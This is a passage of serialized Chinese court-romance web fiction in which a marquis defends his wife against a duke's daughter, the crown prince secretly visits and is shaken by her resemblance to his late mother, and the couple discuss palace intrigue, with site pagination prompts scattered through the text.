“倒是我夫人,若因为你,病情加重,本侯不仅要去国公爷那理论,更要去御前陈情,为我夫人讨个公道,追你迫害我夫人之责!”
许绮嫚一怔,一时没反应过来。
先皇后是她亲姑姑,在世时,对她这个亲侄女颇为关照,因此,皇上对她也颇为疼宠。
全汴京,除了她父亲与李霁,没甚人敢对她说重话。
他竟敢当着一众下人,如此不顾她颜面地说话?!
许绮嫚怒而拍桌:“定宁侯,这是何意?!”
齐司延拧了拧眉,面容冷峻,浮着层愠色,冷声道:“这里是侯府,许小姐要摆谱,回你的国公府去,莫惊扰我夫人。”
语罢朝江元音招了招手,看向她时,面色缓和,连声音也轻柔了:“阿音,可有吓到?”
江元音摇摇头,温顺走至齐司延身侧,很是配合地依偎着他的手臂,故意摆出一副柔弱不能自理地姿态。
齐司延看似斥责,实则心疼地出声:“日后再不许为了无关紧要之人的好奇心,折腾自己了,明白没有?”
“无关紧要之人”的许绮嫚,脸黑了又黑。
齐司延旁若无人地帮她理了理鬓角的发,“此处吵闹,你回屋歇着吧。”
江元音点点头,怕一旁的许绮嫚气不死地,柔声叮嘱齐司延:“许小姐年长我们许多,所言所行自有她的理,侯爷切莫与许小姐红脸。”
许绮嫚果然气得要吐血,一张脸黑红黑红,身子因为大喘气而晃动,身上的珠翠叮当作响,越发恼人。
她这是在骂她老?!
许绮嫚瞅着江元音主仆离去的背影,实在按捺不住心中的火气,扬声讽刺齐司延:“你是病得太久,脑子不灵光了,还是有甚戴绿帽的癖好?江氏同珩王爷不清不楚,你还这般疼惜维护?”
她半点没将齐司延放在眼里。
一个只能仰靠去世双亲荣光,没有实绩,更无实权的侯爷,有何可惧?
江元音步子微顿。
齐司延稍稍侧了侧身,将许绮嫚攻击的目光遮挡住,完完全全地护住江元音。
他沉声道:“许小姐,慎言。”
“你装什么?”许绮嫚讥笑出声,“那日在鹤鸣琴筑,珩王爷搂着她,说她是心上人的时候,你不也在场吗?”
齐司延睥睨看她,“许小姐这是苦恋珩王爷十来载,疯魔了不成?近些年所有适龄,待字闺中的女眷,都被许小姐咬了个遍,如今许小姐还要乱咬我夫人一口?”
“你骂谁是狗?!”
“你。”齐司延是半点没惯着。
江元音放缓着步子,津津有味地听着身后的唇枪舌战。
没想到齐司延竟还有如此毒舌的一面。
那许绮嫚根本不是对手。
许绮嫚气得说不出话来。
只听齐司延又徐声开了口:“正是本侯那日在场,才更确定,许小姐今日所言所行,是得了失心疯。”
“许小姐有病就去治病,莫在侯府撒疯,坏我夫人名节。”
齐司延侧目示意曲休:“送客。”
许绮嫚怒而起身,丫鬟们赶忙搀扶,维护道:“来者是客,侯爷怎能对我家小姐这般无礼!”
曲休回怼:“你家小姐无礼在先!”
他已迈至许绮嫚身侧,顾着礼节才没上手,赶客道:“许小姐,请吧。”
齐司延负手而立,垂眼道:“本侯看在国公爷的面上,亦念许小姐年长本侯几岁,今日之事,便不再计较,可许小姐若还敢妄言,本侯只能唤上珩王爷、国公爷,一道去皇上面前,护住本侯夫人的清白与名声了。”
“许小姐近而立之年,行事还望慎重三思。”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!语罢,他懒得多看许绮嫚一眼,转身抬脚,朝主屋走去。
齐司延步子迈得大,在通往主屋的长廊上便追上了江元音。
江元音侧眸看他,“侯爷是得了信,特意赶回来的?”
齐司延没否认,只打量着她面纱外露着的那一双眼,“可有受气?”
“哪能?”江元音回想起许绮嫚那气得发抖的声音,“受气的,怕是许小姐吧。”
她转瞬又想起了齐司延同许绮嫚说的那些话,不免感慨道:“纵是许小姐挑事在先,侯爷言辞未免太过犀利,半点不怜香惜玉,也不怕人说你,没有风度。”
毕竟那日李霁搂着的“心上人”,还真是她。
许绮嫚也不算是冤枉了她。
齐司延不以为然:“我一有家室的男人,为何要对旁的女子怜香惜玉,展示风度?”
此话江元音听着倒是舒心,眉眼弯弯回道:“侯爷不必特意赶回来的,我能应对许小姐的。”
“阿音预备如何应对?”
江元音摘下了自己的面纱,露出密密麻麻,全是“脓包”的下半张脸。
齐司延眼角抽了抽。
江元音却对自己的杰作很是满意,得意挑眉,寻求认可:“如何?许小姐只稍看一眼,定会吓得不敢看第二眼,哪还能管我是何长相?”
她初初画完,可是把雪燕、清秋都吓了一大跳。
齐司延无奈摇头,牵住她的手,无言大步朝主屋走,边走边吩咐雪燕、清秋速速去备水。
看来他回来的还是不够及时。
令她把自己画成这副“鬼样”。
江元音甚是满意,跟着齐司延的大步,“看吧,连侯爷也吓得不敢看第二眼。”
可走着走着,她莫名生出些不爽快来,“侯爷,是被我丑到了?”
话一说出口,她也有些后悔。
这话实在是有些没事找事,无理取闹了。
她期盼着齐司延不要回应,就这般跳过这个话题。
然而齐司延驻足转身,目不转睛地看她,认认真真地回应道:“不丑,阿音便是真长了满脸脓包,也是我的阿音。”
江元音心里那点微妙的小情绪随之消散。
两人再次牵手往主屋走。
走着走着,她又感慨出声:“不过许小姐亦是个可怜人,只是可怜之人必有可恨之处。”
许绮嫚为了李霁蹉跎至今,被汴京的女眷们揶揄,嘲笑。
喜欢一个人没有错,可她错在不该因这份喜欢,而迁怒旁人。
那些个只是被李霁多看一眼,便遭她针对的女子,何其无辜。
“她可怜什么?”齐司延随口答道:“被她乱咬的人才可怜。”
江元音听到齐司延所言,与她心中所想一般无二,更有种得到知己的欣喜,顺势又问道:“那侯爷以为,许小姐当如何做?”
“此事归根到底,都取决于珩王如何想,珩王心中有她,自没有别的女子的事,珩王心中无她,这世上女子便只有她一人,又能如何?”
江元音满目欣赏,认可道:“便好似侯爷心中有了旁人,我……”
“阿音,”齐司延再次驻足转身打断她,与她四目相对,蹙眉沉脸道:“你成日怜惜这个,怜惜那个,何时怜惜怜惜我?”
“嗯?”江元音困惑不已。
齐司延绷着一张俊脸,倒有几分“受气怨夫”的模样,“我知你感情细腻,易与人共情,但能否别胡思乱想,迁怒我?”
“我何时迁怒侯爷了?”
齐司延挑明道:“先前秦氏挨了打,你便心有戚戚焉,觉得我日后也会变心亏待,对你动手,要把和离写进家规里。”
“现下又怜悯起许绮嫚来,又开始设想我心中会有旁人了。”
“阿音,我最是无辜。”
江元音自认理亏,眉眼弯弯,柔声道:“好嘛,妾身下回再不拿侯爷代入设想了。”
她赶紧跳过了这个话题,突兀地问:“不过侯爷今日半点情面没给许绮嫚留,不怕她变本加厉地找事?”
她会选择把自己画一脸脓包来应对,便是思虑到了这一点。
许绮嫚毕竟是国公府嫡女,连李霁都拿她没辙。
齐司延冷哼一声,“她不敢了。”
他早留了一手,把她今日登门侯府的消息,放出去了。
国公府。
许绮嫚刚回了府,便得信,父亲安国公许清,要见她。
她只能压着满腹的怒气,去见许清。
许清在偏厅软榻上闭目等候已久,听见许绮嫚进来的请安的声响,连眼都没睁。
“跪下。”
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第144章 你知道和我一起的是谁吗
“父亲……”
“跪下。”
许绮嫚再不服,也只能应声跪下。
听到“扑通”跪地的声音,许清这才睁眼。
他年近五十,两鬓有些许斑白,但目光依旧矍铄。
他五官其实生得温和,并未发福的身子,透着股儒雅的无害的书生气。
在李彦成面前的确如此。
可此时此刻,他俯视许绮嫚,目光是严厉的狠。
他手中盘着两颗圆润的核桃,开口道:“这么多年,你还嫌没丢够人?”
许绮嫚抬眼,双眸通红,倔强道:“父亲既嫌我丢人,为何不肯替我去求皇上赐婚,了却女儿此生执念!”
她今年二十六了,是喜欢李霁的第十二年。
昔日的闺中密友早已为人妻母,她为了他,沦为了全汴京的笑柄。
这么多年,他身边的莺莺燕燕不少,看起来风流无双,却始终不愿看她一眼。
时至今日,她已然分不清,她这份执着,到底是喜欢,还是不甘心。
她真的……有那么差吗?
许清盘核桃的动作一停。
那动静一停,许绮嫚身子不禁一颤,生出惶恐不安来。
可一想到刚在侯府受的气,她不服地哽咽道:“那定宁侯,空有侯爵,没有实权,有何可惧?”
她父亲是安国公,是先皇后的亲兄长,是当今太子的亲舅舅!
岂是那定宁侯能比的?
许清嗤笑:“先侯夫妇当年算是掌握了大昭近七成的兵权,殉国后,兵权分散,再无一武将有可撼动皇权的兵力,然,这些武将多数与先侯夫妇有恩义往来,如今定宁侯病愈,谁不卖先侯夫妇薄面?”
若是齐司延无能无心,尚不足惧。
若是齐司延有能有心,便是新一任主心骨。
许绮嫚仍不服气,看着平日对自己骄纵的父亲,委屈道:“可我今日并未在定宁侯府讨着好,我才是遭了欺负的那一个,父亲不为我出头,反倒来责罚我,我……”
“你今年二十六,不是十六,”许清满眸失望,“光长年纪,不长脑子,愚不可及!”
“我们不说,侯府不说,没人会知道我今日去了侯府,便是被人发现,我也可以说是想同侯夫人做闺中密友,今日才去侯府做客,不会有人发现我们同侯府交恶……”
许清面色骤冷,再次打断道:“你想死,莫拉着国公府陪葬。”
许绮嫚越发惊恐:“父、父亲……是何意?”
许清盯着她,压迫感十足:“你真以为,你作为国公府嫡女,我由着你二十六岁不嫁人,是为了成全你对珩王的痴心一片?”
“皇上由着你不嫁人,真是因为你姑姑,疼宠你?”
“我由着你这些年,做尽荒唐事,不过是不忍你下嫁!保住国公府!”
许绮嫚显然理解不了,只是睁着一双眼,茫然盯着鲜少对自己说重话的父亲,喃喃道:“那、那是为何?”
许清不欲多言,只是摇了摇头。
当今圣上,徒有仁厚明君之称,却最是疑心重。
如今国公府,看着最受器重,风光无限,却成了帝王的眼中刺。
许绮嫚不可能成为珩王妃,圣上不会允许。
事实上,她甚至没法嫁给任何门当户对的世家权贵。
圣上不会想看到,两个世家的结合。
若不是纵着她痴缠珩王,圣上早将她许给寒门子弟。
现在齐司延重归朝堂,圣上心里忌惮得很,不会乐意看到国公府与之亲近。
只是这些,说与许绮嫚听,不过是浪费唇舌,毫无意义。
许清道:“你去祠堂跪着反省一夜,自明日起禁足寝院,不得我令,不许出寝院一步。”
“我不要!”许绮嫚抗议,“父亲,那侯夫人江氏勾搭珩王爷,乃我亲眼所见,就在鹤鸣琴筑,我看得清清楚楚,二人私会,王爷还搂着她!她一个有妇之夫,做出如此下三滥的事,父亲为何罚我?!”
“那江氏莫不是会下蛊不成?你们一个个疯魔了似的,不讲道理地护着她!”
“那日定宁侯爷在场,可笑,他竟也要护着个出墙的娇妻!”
许清面色沉了沉,定睛看向许绮嫚,缓声确认道:“你说,那日除了珩王、江氏,定宁侯也在场?”
许绮嫚重重点头。
许清不再言语,抬手示意下人将许绮嫚送到祠堂去罚跪,明日开始禁足。
他是不信李霁会同江氏有什么,尤其是齐司延还在场。
那江氏或许只是个幌子。
李霁装了这么多年的闲云野鹤,要和齐司延勾搭上了?
这事寻个机会,适时透露给李彦成。
祸水东引,保国公府平安。
另一边,侯府。
江元音过了几天安生日子,许绮嫚似是真如齐司延说的“不敢了”一般,再无后文了。
可惜的是,那日尾随她的人究竟是谁,无论是李霁还是齐司延都没能查出来。
这让她心里生出几分不安来。
难道……真的是李彦成?
总之事情没有定论前,还是不要随意外出了。
这章没有结束,请点击下一页继续阅读!又过了两日,丫鬟来报,说是王氏求见。
江元音连眼都没抬,自然不见。
她上回便说清楚明白了,她与她观念不和,不必再往来了。
何况王氏求见无非两件事,要么是被许绮嫚和李霁双双施压受不住了,想来求助她。
要么便是,怀恨在心,上门找事了。
无论是哪一种,她都无心应对。
只是晚上齐司延回府了,她顺便问了句:“侯爷,户部尚书李诚李大人如何了?”
“左迁洛阳了。”
江元音讶然感慨出声:“珩王爷不是不涉朝政,没有实权,还能下手这么狠,闷声干这么大的事?”
她其实都没觉得李霁会对户部尚书李诚出手,毕竟事情的起因,还是许绮嫚为了李霁“争风吃醋”。
想着等齐司延回答“无事发生”后,再接着问问王氏怎样了。
不成想,直接把李诚收拾了?
齐司延搂过江元音的腰,眉目里透着些不满,低声道:“阿音是觉得为夫暗中没出半分力?”
他可以默默付出,但不能允许功劳被抢。
江元音心中腹诽,这个男人的心眼,大抵和针眼差不多大了。
半点不乐意听她夸别人。
哪怕,她刚刚明明不是夸赞,只是感慨。
见她没反应,圈住她的腰不由得紧了紧。
江元音深知他此刻有了情绪,一会在床榻上得往死里折腾她。
是以忙依偎进他怀里,熟稔地夸赞道:“侯爷对阿音最好了。”
齐司延心里舒坦了,垂首蹭蹭她的鼻尖,纠正道:“只对阿音好。”
他素来不吝啬情话。
然而当晚,江元音筋疲力尽,忍不住腹诽感慨。
这个男人真是……把他“哄”舒坦了,一样要往死里折腾她。
元奚真人何止是为他解了毒,怕是还帮他调理了身体吧?
此刻餍足的男人又自身后贴了过来,大手落在她的腹部,轻抚了抚。
江元音立即讨饶,“侯爷,妾身累了。”
“嗯,不折腾你了。”
江元音覆盖住他抚摸自己腹部的手背,无声示意:那你在做什么?
齐司延闷声道:“阿音的肚子,怎么一点动静也没有?”
“是我不够卖力?”
江元音心中腹诽:你还想怎么卖力?!
可随即感觉到他情绪似有些低落,她忍不住出声问:“侯爷很想要孩子?”
齐司延将她圈抱得更紧些,沉闷地“嗯”了声,意味深长道:“很想要我们的孩子。”
江元音隐隐约约明白他的渴望,轻声回道:“侯爷别急,余生还长。”
“……嗯。”
不出侯府的日子,江元音倒也没闲着。
她将自己所有的财物都收拾了妥当,清点出了一些值钱,但她不太中意的东西,打算将它们变卖掉,换成银票或存进钱庄。
她这些嫁妆,当初江兴德是雇了三城镖师,将她护送入京的。
现在她要南下,得越低调越好。
没有和离,她作为侯府女眷,带着嫁妆离京,一定惊扰李彦成。
到时走不掉不说,李彦成随时能给齐司延安一顶“图谋不轨”的帽子。
这日上午,丫鬟来报,说是江家来人了,在门口求见。
江元音有几分惊讶,陈蓉疯了,上次江兴德不仅丢了三大箱财物,被她用发簪扎,连侯府的门都没进得来。
他怎么还会来侯府?
便是来示好,他如何拿还有讨好的家底?
紧接着丫鬟禀告道:“求见夫人的,是夫人的弟弟,江公子。”
江元音没甚情绪起伏,淡声道:“便说我不见,让他日后不必再来。”
她连个场面的理由都不给,直接拒了。
江家如今的境地,江正耀的日子不会好过。
她无心去应对一个十岁的暴躁少年,他每回叫嚷吵闹得她头疼。
可事不如人愿,没多久,她还是听到了江正耀那如鸭公嗓般难听吵闹的声音。
封弋拿麻绳将两个年纪相差不大的少年捆绑在一起,不客气地往江元音主屋前坪一扔,冲屋内扬声。
“抓了两个翻墙的小崽子,杀了还是放了?”
江正耀惊声怒吼:“江元音,你快滚出来!”
“你知道和我一起的是谁吗!?”
“你敢对我们动手,你要被大卸八块!”
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第145章 臣妇江氏见过太子殿下
江元音听到江正耀这熟悉的咋呼声,心口一阵烦躁。
她抬步走至门口,远远瞟见封弋环臂而立,脚边是两个被捆绑在一起的少年。
她懒得去看其中哪一个才是江正耀,冲封弋扬声道:“他再吵一句,就把他杀了。”
她都已经和江兴德撕破脸,断亲了,江正耀便是毫无所察,也不该再来侯府放肆。
封弋颔首,垂首低扫江正耀。
他手上没拿任何武器,可目光凌厉,自带肃杀之气。
江正耀一时竟哑了声,嘴不服气地张合着,发不出半个音节。
咋呼声停了,江元音心情稍缓,方才大发慈悲地同江正耀多说一句话:“你是自己走出去,还是想被扔出去?”
江正耀哪能忍,以往伏小做低,大气不敢出的江元音,在他面前耀武扬威?
他张嘴就要反嘴,却被同被捆绑在一起的少年猛踹了一脚。
少年紧绷着脸,这一脚里充斥着不耐与警告。
这一脚于江正耀而言,比江元音的狠话或是封弋的死亡凝视,来得有压迫感得多。
江正耀立即压下了那些叫嚣的话,生硬地唤了声:“阿姐。”
江元音浑身不适。
江正耀继续生硬示好:“我知我从前顽皮,时常惹恼阿姐,还请阿姐念我年幼不懂事,莫与我计较。”
“我此番是听闻阿姐有了身孕,想来看望阿姐,没有恶意。”
江元音嗤笑出声:“谁正经看望靠翻墙?”
侯府宅院大,没有了齐文台那一大家子,也遣散了不少的奴仆。
青松院没人能随意进出,但有些偏僻的角落,的确缺人看管,也难怪他们能翻进来。
倒也给她提了个醒,得多安排些人手才是。
“那还不是因为你不肯放我们进屋?”江正耀刚出了声,又迫于身旁人的威压,克制着脾气,继续示好道:“阿姐,是我错了,阿姐给我们松绑吧,我同阿姐说两句话就走,绝不烦你!”
江元音懒得同他多说一句话,看向封弋,道:“松了他们,让他们自己走,他们要是不走,辛苦你费劲扔了。”
封弋其实觉得直接扔了他们俩更轻松不费劲。
要不是江正耀是她弟弟,早在他们翻墙时,他便一掌劈下去了。
封弋解开捆绑两人的麻绳,一句话没说,只是望着之前一直叫嚷不停的江正耀。
他下巴往大门的方向点了点,无声示意:滚。
与此同时,正要转身回里屋的江元音,察觉到一道视线,一直落在她的身上。
存在感极强,却又显然不是江正耀那种无脑的恶意。
她下意识地转头看去,发现盯着她的人,正是先前同江正耀一起被封弋捆绑在地上的少年。
他是谁?
脑海里闪过刚刚江正耀叫嚷的话,不好的预感一闪而过。
那穿着便服的少年的确一直在盯着江元音。
只是隔得远,她站在屋内,逆光里,根本看不清容貌,但哪怕只有隐绰的轮廓,熟悉感也扑面而来。
他毫不惧怕封弋,目的明确,大步朝江元音而来。
江正耀随之大步跟上。
封弋拧眉,稍一运功,地上的石子随之而起。
须臾间,有所察的江元音以最快的速度指着为首的少年,阻止封弋:“别伤他!”
只是地上的石子早已受力朝二位少年飞去,封弋要收手显然来不及。
不过他反应甚快,既然江元音只说了不能伤为首的少年,他便再运掌风,将所有的石子悉数击向江正耀。
“啊——”
江正耀双腿、后膝盖窝,连中数颗石子,石子陷入肉里,疼得他双膝一软,直接跪倒在地。
他疼得浑身冒汗,说不出话来。
然而江元音看都没看他一眼,冷不丁地,隔着一丈远的距离,同走过来的少年四目相对。
少年身着深色的便衣,穿着打扮都是寻常公子的装扮,那一双眉眼却飞扬。
短暂的对视,少年慌了神。
他倏地止步,难掩震惊。
江元音暗叫不好,再侧身避开,已是来不及。
万幸,封弋没伤到他。
否则要是追起责来,侯府必定是血雨腥风。
此时江正耀已是痛得浑身冒汗,又无人管他扶他一把,他扯着嗓子喊道:“江元音,你竟敢命人出手伤害太子殿下!”
他自知江元音不会管他死活,只好搬出太子李昀璟的名头。
他不信,面对太子,江元音还敢无礼。
闻言,江元音的心沉入谷底。
她日日没出门的避着,不想见到皇宫里的人,结果还是被找上门了。
李昀璟为何会乔装打扮,不惜翻墙入侯府来见她?
难道是听到了什么风声?
又是从何听到的?
李昀璟侧目,怒瞪江正耀,呵斥道:“闭嘴!”
原本不打算戳破李昀璟身份的江元音,不得不低眉垂眼,福身行礼:“臣妇江氏见过太子殿下,恭请太子殿下金安。”
雪燕、清秋也匆忙行礼。
除了封弋,他兀自矗立不动,眸光落在李昀璟身上,深了几许。
本小章还未完,请点击下一页继续阅读后面精彩内容!李昀璟直勾勾地望着江元音,双手紧拽住了自己的袖口,半晌没有言语。
江元音强作镇定,垂首看着地板,继续试探出声:“臣妇不知是太子殿下登门,未及时相迎,还望殿下恕罪。”
她接着暗示道:“但见太子殿下轻装出门,想必不愿声张,臣妇必守口如瓶,免误殿下正事!”
不管李昀璟此行的目的是什么,虽说他已然撞见了她的长相,但毕竟他是乔装打扮,翻墙而入,这有失体统,传出去他亦没面,若李彦成是位严父,也定要罚他。
她只盼着他能有所顾忌,不要像江正耀那般,没有脑子。
李昀璟盯着江元音看了许久,片刻后,方才故意压着嗓子,威声道:“孤今日并未出宫,更未来过侯府!”
语罢,他转身甩袖,大步离开。
江元音如释重负。
不管李昀璟在顾忌什么,至少能确定的是,他是有所顾忌的。
不然,他不可能乔装登门,若非江正耀说破,他根本没表明身份。
李昀璟迈过倒地的江正耀,稍稍驻足,无声瞟了一眼。
江元音会意,立即唤来家丁,架着伤重不能行的江正耀,跟上李昀璟,将其送上他们停在后门的马车。
之后,立即书信一封,送与齐司延。
马车上,李昀璟一言不发。
蜷缩在车厢角落的江正耀疼得汗水浸透了衣裳,却不敢唤一声“疼”。
自入了东宫伴读,他日日活得战战兢兢,被教训了数回,认清楚家里帮不上他半点后,他再没有半点脾气。
他在东宫,入不了那些世家子弟的眼,更别说太子李昀璟了。
今日,李昀璟破天荒给了他一个正眼,问:“你可有你姐姐江氏的画像?”
江正耀摇头。
在他眼里,江元音连他江家的奴仆都不如,怎会有她的画像?
李昀璟蹙眉,尚未长开的眉目里,却全是迫人的威严。
江正耀瑟瑟发抖,急得冒汗,这时又听李昀璟道:“你带孤去瞧瞧,万不可透露孤的身份。”
江正耀搞不清楚缘由,更不敢过问,可内心却是隐隐期待的。
他在东宫活得不如一条狗,一想到能让江元音当着李昀璟的面,像从前那样,对他伏小做低,他近来被碾碎的自尊心,能微妙修补。
所以他刚刚在迫不及待地,想在李昀璟面前,逞一逞威风。
可江元音似是变了个人,对他再没有半点从前的迁就忍让。
甚至刚刚哪怕不知道李昀璟身份前,也只护李昀璟,压根不管他。
江正耀感觉到主位上的李昀璟朝他看来。
他哆嗦着认错:“殿下饶命,我刚刚不是故意透露殿下身份,只是情急之下,怕江氏伤到殿下……”
李昀璟狠狠盯着他,突兀地问:“江氏,可是你亲姐?”
“自、自然是……”答完,江正耀马不停蹄地补充道:“她已嫁入侯府,是齐家的人了,恳请殿下别因她失礼,迁怒我江家……”
他不知道李昀璟为何这样问,难道是因为刚刚江元音对他没半点好脸色吗?
要不是云裳阿姐不见了,他才不可能认江元音这个姐姐!
李昀璟又问:“你们关系不好,你从前总欺负她?”
“是她性子不讨喜,”忆起刚刚的种种,江正耀满目憎恨,“她如今嫁入侯府了,自以为攀上了高门,便不再把娘家人看在眼里!”
数不清的石子还嵌在他的腿里,他有多疼,便有多恨江元音。
她竟敢放任下人这样伤害他!
这笔账,他绝不会轻易算了!
李昀璟倏地扬声:“停车!”
随后,他指着江正耀,吩咐随侍:“把他扔下去。”
江正耀惶恐不已,磕头求饶:“殿下饶命,求殿下送我回江家,不……求殿下把我扔在江家……医馆、医馆也可,求殿下开恩啊……”
他的双腿嵌满了石子,根本无法行走。
因为是同李昀璟出门,连个随从小厮都没带。
李昀璟若这样把他扔在马路上,他会死的!
可李昀璟半分动容也没有,眉目间全是不耐与狠厉。
“是,殿下。”
随侍利落地将江正耀扔下马车。
李昀璟又吩咐道:“去国公府。”
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第146章 侯爷才是我的亲人
安国公府。
许清得知李昀璟在府上时,面色沉了沉,看到李昀璟这番穿着,眼底更是涌动着不赞同。
虚虚行了个礼,唇角微扬,眼底却毫无笑意,问道:“殿下今日因何出宫?去了何处?怎地这副装扮?”
不待李昀璟回答,他又温声道:“殿下若是想见老臣,何不等明日早朝过后,唤老臣去东宫?”
他老早叮嘱过李昀璟,不要私下找他。
这要是被李彦成知晓,又是一桩麻烦事。
李昀璟坐在榻上,抬头望着许清,唤了声:“舅舅。”
许清心口一紧,忙上前一步,追问道:“殿下,发生何事了?”
李昀璟幼时,尤其先皇后还在世时,对许清都是一口一个“舅舅”的。
后来年岁长了,先皇后也离世了,许清当着李彦成的面同李昀璟强调“先君臣后血亲”,永远是“君臣”关系优先。
那之后,李昀璟几乎没唤过他“舅舅”。
李昀璟小脸紧绷,道:“孤今日……好似看见母后了。”
许清拧眉,只差把“胡闹”二字说出口,叹了口气道:“老臣知先皇后的生辰快到了,殿下思母过度,难免……”
“不!”李昀璟倏地激动起身,压抑了一日的情绪在此刻爆发,“孤今日去了定宁侯府,那定宁侯之妻江氏生得和孤母后一模一样!”
“舅舅可曾见过那江氏?!”
许清一怔。
……怎么又是她?
随即脑海里闪过许绮嫚的说辞,他屏息同李昀璟确认:“此话当真?”
“舅舅若不信,去一趟侯府便知!”
许清陷入了深思。
所以,这才是李霁近来同侯府走得近的原因?
难道次女是……?
这世上能有如此巧合的事?!
李昀璟看着许清的神色变幻,表情越来越难看,“舅舅在想什么?”
他眉目里染上厌恶之色,坚定表态道:“孤绝不可能让父皇见到她!”
宫里的赝品已经足够多了,他不想再看见一个。
“殿下稍安勿躁,”许清安抚道:“便是皇上见到江氏,应该也不会发生殿下忧心的事。”
李昀璟以为许清顾虑的是,江元音已是齐司延之妻。
他嗤之以鼻,嘲讽点破道:“舅舅当知,那定宁侯是个短命的。”
齐司延“病愈”了又如何?
他笃定其活不过三五载,那届时江氏将作何处置?
又成为宫中另一贵妃?
他决不允许。
许清摇了摇头,“或许这江氏同殿下有些渊源。”
“什么渊源?”
“也许,她是殿下的阿姐。”
宫中不是没有神似先皇后的女子,但没有一个会令李昀璟有这般大的反应。
若只是相似,他也不会做出这般推论。
是李霁的态度,让他生出了几分笃定。
以他对李霁的了解,若江氏同先皇后没有血缘,他早告知李彦成了。
可李霁却将此事瞒了下来。
李昀璟脸色骤变:“什么?”
许清却没将话说死,而是谨慎道:“不过这还只是老臣自己的揣测,一切待确认了江氏的身份,再同殿下细说。”
末了又劝道:“殿下不可小瞧了定宁侯,若能笼络了他,殿下储君之位无忧。”
江氏若真是李昀璟的亲姐,这是个绝佳的机会。
安抚送走了李昀璟,许清吩咐下人去唤许子枫来见他。
许子枫战战兢兢地躬身站着,连头都不敢抬。
他生母不过是个普通妾室,他在国公府并不起眼,更没话语权,轻易见不到许清几面。
他胡思乱想着,难不成是为了齐婧涵的事?
许清手里盘着核桃,直接问道:“你之前去定宁侯府,有见过定宁侯之妻?”
许子枫心道还真是这事,强作镇定,谨慎答道:“回禀父亲,见过。”
他心里斟酌着解释休妻之事,然而许清只是看着他,道:“你画下来。”
另一边,侯府。
待到齐司延回来时,江元音心情已经冷静许多了。
虽然不知道李昀璟为何要跑一趟侯府来见她,但他走时那番话,显然也是在表态,他不会将此事声张出去。
否则,何必同她强调,他今日没来过侯府?
齐司延大步而来,先是绕着她走了一圈,将她里里外外检查了一遍:“可有伤着哪里?”
他仔仔细细看了一圈,确定她的脖颈没有红痕,又握住她的双手,查看了手腕、手臂。
江元音任由他检查着,浅笑回道:“我没事,倒是江正耀应该伤得不轻。”
封弋下手挺狠,之前说是两个家丁架着他出府,实际上根本是被拎起来的。
若得不到及时的医治,怕是会落下病根。
她蓦地想到前世,江正耀刺进她腿的那一剑。
只后悔,这些个石子不是她亲手嵌入江正耀腿里。
齐司延紧绷着脸,自责道:“是我疏忽,早该多安排些人手护卫侯府。”
江元音无碍的摇摇头,绕到正题上,沉声道:“侯爷,或许我该提前回江南了。”
这章没有结束,请点击下一页继续阅读!如今连李昀璟都见过她了,想必再过不久,她的事,会传到李彦成耳中。
不管李彦成到底是不是她生父,与之见面不过两个下场。
一个是被他“追杀”,一个是被他留在皇宫。
而她惜命,更想自由地活着。
齐司延握住她双手的手稍稍紧了紧,他没有直接出声阻止,而是道:“不管李昀璟有没有怀疑你的身份,短期内,他不会把你的事告知李彦成。”
“为何?”
“离开侯府后,他没有回宫,而是去了国公府。”
江元音不了解其中门道,静待后文。
齐司延薄唇张了张,望着她的眉眼,欲言又止。
江元音反手握住他的手,“侯爷不是说,于我再无秘密吗?有何不能对我直言?”
齐司延沉默了片刻后徐声道:“许是曾夺兄之位,所以李彦成生性多疑,忌惮的不仅是臣子,哪怕是血肉至亲。”
毕竟是批判她的生父,也不知她乐不乐意听。
齐司延一直观察着她的神色,不见异样不悦,方才接着说道:“珩王爷是个聪明人,所以不涉朝堂,没有实权,方有外人艳羡的自由无拘,否则……”
他扯了扯唇角,自嘲道:“这汴京的病秧子,当不止我一个。”
江元音恍然。
难怪李霁会说,没人想留在这是非之地。
想来他上辈子,不到三十岁便舍了王爵隐退,也不过是为了保全自身。
所以他说,可以和她一起结伴下江南。
齐司延又道:“手足如此,骨肉亦然。”
“自立了储君,李彦成反而对李昀璟提防猜忌起来。”
“如今后宫皇后之位空悬,李彦成独宠瑜贵妃,看似是因为其眉眼有三分神似先皇后,实则不然。”
“瑜贵妃乃六皇子生母,近来甚得李彦成欢心。”
“可李彦成也不见得真的满意六皇子,只不过不想李昀璟稳坐太子之位罢了。”
江元音表示了然地点点头。
最是无情帝王家。
无论是李彦成逼宫先帝,夺兄长之位,还是后来杀回汴京复位的李承烨。
这些人眼里只有权势、皇位与仇恨。
如此看来,李霁倒是唯一的清流了。
齐司延继续分析道:“李昀璟没有直接回宫,而是去见了安国公,说明他并不打算把你的事,透露给李彦成。”
“国公府与东宫,一荣俱荣,以我对安国公的了解,他若知晓你的身份,不会放过这个笼络定宁侯府,巩固李昀璟储君之位的机会。”
一一道完当下的情势,齐司延直直望她,耐人寻味地问:“阿音,你可要助李昀璟,坐稳这太子之位?”
他知她对他,复仇后会回江南这事存疑。
是以也曾探过她的口风,看她是否乐意李承烨复位。
可她留下了封弋,只为断李承烨的利刃。
她说,她讨厌李承烨。
那李昀璟呢?
江元音听懂他言下的深意,忽然生出了些微妙的恻隐之心。
从挑选江南的宅院,到签订“入赘”的契文,到执着的想要一个孩子,再到此刻探她口风,要不要和国公府合作,帮助李昀璟。
他一直在小心翼翼地,向她表衷心。
江元音不躲不闪地迎上他的目光,回道:“李昀璟于我而言,不过是见了一面的陌生人而已,侯爷大可不必为了我,去和国公府合作。”
她弯了弯眉眼,认真道:“如今侯爷才是我的亲人,我亲手选择的亲人。”
经历了江家的虚伪,也从李承烨那体验了血脉的无情。
唯有齐司延,是真真切切的为她付出。
血脉关系都是虚无缥缈的,唯有留在身边的才是真的。
齐司延轻“嗯”了声,揽她入怀,再开口时,清冷的声线少了紧绷,是一切在掌握之中的淡然。
他开口道:“便是不和国公府合作,我也能堵住国公爷的嘴。”
“侯爷有何妙计?”
“你可知为何崇光院修缮了两年都未完成,半年前彻底停工了?”
江元音回忆着那日工部尚书的话,“刘尚书不是说,国库一直未拨款?”
听李霁所言,大昭国库空空,拨不下来款修缮京师学堂,好似也在情理之中。
她顺着这个思路问道:“难道其中有隐情?”
“嗯,”齐司延点破道:“管理银库的库部郎中,将这笔钱,悉数拨给了去抚州赈灾的钦差大臣。”
“这钦差大臣和国公府有关系?”
“聪明,正是国公府嫡三子,许昌安。”
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第147章 圣上请二位前往御书房一叙
李彦成嘴上说着,齐司延大病初愈,不忍见其劳累,才交予了修缮崇光院这个活,并放了话,不催其进度,让他慢慢来,逐步适应处理公务。
